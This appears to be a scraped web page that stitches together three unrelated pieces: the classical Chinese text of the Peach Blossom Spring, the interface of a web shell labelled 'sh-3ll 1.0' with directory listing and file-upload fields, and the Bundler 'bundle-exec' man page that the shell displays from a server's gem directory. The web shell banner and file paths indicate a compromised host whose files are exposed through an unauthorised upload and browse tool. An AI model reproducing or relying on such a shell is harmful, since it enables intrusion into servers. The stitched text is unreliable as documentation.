晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby34/share/gems/gems/bundler-2.6.9/lib/bundler/man/
Upload File :
Current File : //opt/alt/ruby34/share/gems/gems/bundler-2.6.9/lib/bundler/man/bundle-exec.1.ronn
bundle-exec(1) -- Execute a command in the context of the bundle
================================================================

## SYNOPSIS

`bundle exec` [--keep-file-descriptors] [--gemfile=GEMFILE] <command>

## DESCRIPTION

This command executes the command, making all gems specified in the
[`Gemfile(5)`][Gemfile(5)] available to `require` in Ruby programs.

Essentially, if you would normally have run something like
`rspec spec/my_spec.rb`, and you want to use the gems specified
in the [`Gemfile(5)`][Gemfile(5)] and installed via [bundle install(1)](bundle-install.1.html), you
should run `bundle exec rspec spec/my_spec.rb`.

Note that `bundle exec` does not require that an executable is
available on your shell's `$PATH`.

## OPTIONS

* `--keep-file-descriptors`:
  Passes all file descriptors to the new processes. Default is true from
  bundler version 2.2.26. Setting it to false is now deprecated.

* `--gemfile=GEMFILE`:
  Use the specified gemfile instead of [`Gemfile(5)`][Gemfile(5)].

## BUNDLE INSTALL --BINSTUBS

If you use the `--binstubs` flag in [bundle install(1)](bundle-install.1.html), Bundler will
automatically create a directory (which defaults to `app_root/bin`)
containing all of the executables available from gems in the bundle.

After using `--binstubs`, `bin/rspec spec/my_spec.rb` is identical
to `bundle exec rspec spec/my_spec.rb`.

## ENVIRONMENT MODIFICATIONS

`bundle exec` makes a number of changes to the shell environment,
then executes the command you specify in full.

* make sure that it's still possible to shell out to `bundle`
  from inside a command invoked by `bundle exec` (using
  `$BUNDLE_BIN_PATH`)
* put the directory containing executables (like `rails`, `rspec`,
  `rackup`) for your bundle on `$PATH`
* make sure that if bundler is invoked in the subshell, it uses
  the same `Gemfile` (by setting `BUNDLE_GEMFILE`)
* add `-rbundler/setup` to `$RUBYOPT`, which makes sure that
  Ruby programs invoked in the subshell can see the gems in
  the bundle

It also modifies Rubygems:

* disallow loading additional gems not in the bundle
* modify the `gem` method to be a no-op if a gem matching
  the requirements is in the bundle, and to raise a
  `Gem::LoadError` if it's not
* Define `Gem.refresh` to be a no-op, since the source
  index is always frozen when using bundler, and to
  prevent gems from the system leaking into the environment
* Override `Gem.bin_path` to use the gems in the bundle,
  making system executables work
* Add all gems in the bundle into Gem.loaded_specs

Finally, `bundle exec` also implicitly modifies `Gemfile.lock` if the lockfile
and the Gemfile do not match. Bundler needs the Gemfile to determine things
such as a gem's groups, `autorequire`, and platforms, etc., and that
information isn't stored in the lockfile. The Gemfile and lockfile must be
synced in order to `bundle exec` successfully, so `bundle exec`
updates the lockfile beforehand.

### Loading

By default, when attempting to `bundle exec` to a file with a ruby shebang,
Bundler will `Kernel.load` that file instead of using `Kernel.exec`. For the
vast majority of cases, this is a performance improvement. In a rare few cases,
this could cause some subtle side-effects (such as dependence on the exact
contents of `$0` or `__FILE__`) and the optimization can be disabled by enabling
the `disable_exec_load` setting.

### Shelling out

Any Ruby code that opens a subshell (like `system`, backticks, or `%x{}`) will
automatically use the current Bundler environment. If you need to shell out to
a Ruby command that is not part of your current bundle, use the
`with_unbundled_env` method with a block. Any subshells created inside the block
will be given the environment present before Bundler was activated. For
example, Homebrew commands run Ruby, but don't work inside a bundle:

    Bundler.with_unbundled_env do
      `brew install wget`
    end

Using `with_unbundled_env` is also necessary if you are shelling out to a different
bundle. Any Bundler commands run in a subshell will inherit the current
Gemfile, so commands that need to run in the context of a different bundle also
need to use `with_unbundled_env`.

    Bundler.with_unbundled_env do
      Dir.chdir "/other/bundler/project" do
        `bundle exec ./script`
      end
    end

Bundler provides convenience helpers that wrap `system` and `exec`, and they
can be used like this:

    Bundler.unbundled_system('brew install wget')
    Bundler.unbundled_exec('brew install wget')


## RUBYGEMS PLUGINS

At present, the Rubygems plugin system requires all files
named `rubygems_plugin.rb` on the load path of _any_ installed
gem when any Ruby code requires `rubygems.rb`. This includes
executables installed into the system, like `rails`, `rackup`,
and `rspec`.

Since Rubygems plugins can contain arbitrary Ruby code, they
commonly end up activating themselves or their dependencies.

For instance, the `gemcutter 0.5` gem depended on `json_pure`.
If you had that version of gemcutter installed (even if
you _also_ had a newer version without this problem), Rubygems
would activate `gemcutter 0.5` and `json_pure <latest>`.

If your Gemfile(5) also contained `json_pure` (or a gem
with a dependency on `json_pure`), the latest version on
your system might conflict with the version in your
Gemfile(5), or the snapshot version in your `Gemfile.lock`.

If this happens, bundler will say:

    You have already activated json_pure 1.4.6 but your Gemfile
    requires json_pure 1.4.3. Consider using bundle exec.

In this situation, you almost certainly want to remove the
underlying gem with the problematic gem plugin. In general,
the authors of these plugins (in this case, the `gemcutter`
gem) have released newer versions that are more careful in
their plugins.

You can find a list of all the gems containing gem plugins
by running

    ruby -e "puts Gem.find_files('rubygems_plugin.rb')"

At the very least, you should remove all but the newest
version of each gem plugin, and also remove all gem plugins
that you aren't using (`gem uninstall gem_name`).